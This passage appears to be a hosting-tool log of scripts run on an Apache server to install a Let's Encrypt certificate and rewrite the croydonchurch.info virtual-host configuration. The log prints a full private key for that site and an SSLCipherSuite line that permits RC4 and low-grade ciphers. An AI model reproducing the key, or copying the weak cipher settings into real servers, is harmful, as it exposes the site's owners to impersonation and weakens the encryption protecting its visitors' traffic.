ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-26 10:09:22: 

chmod 755 /tmp/pkp783591; /tmp/pkp783591; rm /tmp/pkp783591

2026-05-26 10:09:22: 


dir=/etc/ssl/certs


2026-05-26 10:09:22: 

PUT: /tmp/pkp471881

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-26 10:09:22: 

chmod 755 /tmp/pkp471881; /tmp/pkp471881; rm /tmp/pkp471881

2026-05-26 10:09:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-26 10:09:22: 

PUT: /tmp/pkp717823

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi


2026-05-26 10:09:22: 

chmod 755 /tmp/pkp717823; /tmp/pkp717823; rm /tmp/pkp717823

2026-05-26 10:09:22: 




2026-05-26 10:09:22: 

PUT: /tmp/pkp359221

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-26 10:09:22: 

chmod 755 /tmp/pkp359221; /tmp/pkp359221; rm /tmp/pkp359221

2026-05-26 10:09:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-26 10:09:22: Establishing a connection
2026-05-26 10:09:22: 

PUT: /tmp/pkp263858

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-26 10:09:22: 

chmod 755 /tmp/pkp263858; /tmp/pkp263858; rm /tmp/pkp263858

2026-05-26 10:09:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-26 10:09:22: 

PUT: /tmp/pkp359315

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-26 10:09:22: 

chmod 755 /tmp/pkp359315; /tmp/pkp359315; rm /tmp/pkp359315

2026-05-26 10:09:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-26 10:09:22: 

PUT: /tmp/pkp591845

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-26 10:09:22: 

chmod 755 /tmp/pkp591845; /tmp/pkp591845; rm /tmp/pkp591845

2026-05-26 10:09:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt	5386
c1:cd:8b:8b:01:be:4a:19:a6:fd:44:2b:b3:0b:0d:51

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBpmaszBEG2kO8Z+vj133yF+kMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI2MDkxMDUwWhcNMjYwODI0MDkxMDQ5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCKueIFYYDSeJH6u4MmG72pD9bzx2TozhXL2z/m7vB0qmj4dPyNPdZIO/CM
b8GNUOzQXaV+Ggd4cZlhb/9wAzoMo2rqKZRPqCOkmoIjYGHLizneR8Sftwdgt+AV
EKGMb8tW0/NDg9Rmzz4c4KIhWhiEPxqAQ9WGvPFygx0c5m9nMNrpVCZgRZKdyrXL
/r/Pon4qD8vWxeNvnfQBWhhOE2GGGnSTDO40Q4wKmxoOBN/3YjvhDDUGM5iwA5Qj
kOCiZB25VqWHPiB8o+Bo3wiGU1+veHj/xtuuT+lU42gwhzTVUxe6PNWtyBlzxk8/
9lLfn5Y0OYARZggSO466WGg9QjEhAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
tWMdC38MdMa3+DGzdEOZ+ioR1cwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjcm95ZG9uY2h1cmNoLmluZm+CFnd3dy5j
cm95ZG9uY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VL
FAAAAZ5jwqM1AAAEAwBHMEUCIQCmUNMBmt6UIjX+ZDoD0MjM8u6S/v5rAiwuqIHP
L++7jQIgdaMCxL+Q539e10juc5/e3ZDK65IZkDTuD6hpa2qNz/oAfgBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ5jwqUyAAgAAAUADWT0NgQDAEcw
RQIgcRHwgbj42zbNsfbkhdROskR0+r2SzJHDxsQcdI4gNJkCIQCZhGfC+XdGVDAg
t4uemGyG4suZIsVBu5S+//TNOsrg+TANBgkqhkiG9w0BAQsFAAOCAQEA0i1ronwK
J9y05pQskqOzGSG86pmZshXj9RDD6l6V7wNi8x7kTKkaOnlJas9S0gLMAaw96biR
Vv+B5+L/JUdeYAq8JSqyBlxFgTZaQEzrKr0iBwH8MHW+bJcEBV02yvNm8UxVpgIE
sv8bm16yuyjt/X3csWsT1XqQpr05NGL28359SJ2AQBpJrmRDiPSNcIdAOY/xFD4+
N/8DhcvyVbNZDwsnxg1E8zJinvu/E0CnBazl6msDS9Z58xljIrgnSaz9kQUMAYGn
jEKknwrcep0JMLXh/e6YUpyY/LcypzUbx22C3SZFJUh9zDuDUDtHo9tJNTI6XbOz
Uy7nfZ8OEeUKAA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKueIFYYDSeJH6
u4MmG72pD9bzx2TozhXL2z/m7vB0qmj4dPyNPdZIO/CMb8GNUOzQXaV+Ggd4cZlh
b/9wAzoMo2rqKZRPqCOkmoIjYGHLizneR8Sftwdgt+AVEKGMb8tW0/NDg9Rmzz4c
4KIhWhiEPxqAQ9WGvPFygx0c5m9nMNrpVCZgRZKdyrXL/r/Pon4qD8vWxeNvnfQB
WhhOE2GGGnSTDO40Q4wKmxoOBN/3YjvhDDUGM5iwA5QjkOCiZB25VqWHPiB8o+Bo
3wiGU1+veHj/xtuuT+lU42gwhzTVUxe6PNWtyBlzxk8/9lLfn5Y0OYARZggSO466
WGg9QjEhAgMBAAECggEABA+d+LdafI7QAy2DENYGDtFqYveG0jPaOn4AGGQNQPUO
HpvaGs5hG/s5Nvs8iMUCMbVUF2Vuq41zxoDvUtmdVOphwloWP+C1rmdhgOSc6Eb6
mjGypVRH0IKBekxi1kgdhTyuJd9Rk/LkKBdBV8WZ6yEnxvJ1aTzVuprw+rwaLcSa
0qb7BaFoF7ZvPgxxhtFPDyVO6HdV8QDWBEldJFbDd21vFpwS4hzpkL4xPgKTaLT7
kAEQhPxmvVnXiJ3GLCbHjl5vAMgJ6H3tik7sESj5JoJfuHNfORbOCvvf5DPtt/KY
POx3HiF3aLKiqY9FUX6RcauGErmfnf/ukrGrCVtWGwKBgQDAzQPVT2K+ACqqGJVH
0jH1wgsmRE6pVxvI8dqwvRiJfo3bqFOByoumOImy/FpD7vAALOdzYCyx0YJoBIZl
lKk0RUMsJtg0kiaog3gwYQGcSnno33R3YeXJylcAjoQlRRi+EF7Jyub9uLZj+rJL
GjWAM7+zDAHkV2ERZOYZOp3oTwKBgQC4MyhlRFX1F4RL9Ammhl5Vxderzp0RnnFa
NuCwqb7BliP668UqvJxAmqgwZjkyx5wp0yafFNuBJ/N6Hv/3oKa8MsJ+nl/TKMJ3
2RBToZxyZnV973iqSq0XXOx/G4fojKZo8I/px7arfN/VXFv/qayt9JqpKO0RTI+N
/yWeM8ODjwKBgEPSWrzY1jVcPaXkS+8d4/E9t0pY0QsE14NSgMmXW2BSonhYuDd6
FrH8RYQu/VnUXZzSLwEJHe/XcXZB0T0+lF8M1lpbt8aWev7gcJEkLrraABSJNqEg
UQMxKHXLrHSn39JMU+vMcoFiTtbQw5NjvtpAWfkUCj5W9pB12/OYCSBFAoGAXhPC
zfXY8RTRvPkm9KYsCCLDxDwCfL0vp6PfnlsT0kuclMtWKD2skFJtFEsha44HdFUj
pJxCf/SnpfevRAoJHpXOQF0jE/X9XLjAXfZssQEjgO6N8muxe/05zLGC+ILdezti
RUR7R5q/t3k0g59lUnNbioocinlP2HY4AFTvxoECgYEAjmzQczYxIVpBkLte1Mqg
gy3mHY/xlzqD5oGwiv3eQJeFFVlLlR33+rIEGdNULm+lH6Qqo3NpCh5SlnBpGwbH
5ytBxG7jiZ0kobKqs/mwYcoTCfoIvSKL9OPZ0XVE9gbKIB6NHtpekBaT0wV1b/5r
+6+75iLjNCKXT+L6T1PL5uA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-28 06:00:02: Establishing a connection
2026-05-28 06:00:02: Establishing a connection
2026-05-28 06:00:03: 

PUT: /tmp/pkp467948

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-28 06:00:03: 

chmod 755 /tmp/pkp467948; /tmp/pkp467948; rm /tmp/pkp467948

2026-05-28 06:00:03: 


1


2026-05-28 06:00:05: Establishing a connection
2026-05-28 06:00:05: 

PUT: /tmp/pkp131832

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > XZWXnc6H2MfR828JslgTRc-N7oy_nAPaqzEr8LO3Bek <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XZWXnc6H2MfR828JslgTRc-N7oy_nAPaqzEr8LO3Bek.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XZWXnc6H2MfR828JslgTRc-N7oy_nAPaqzEr8LO3Bek
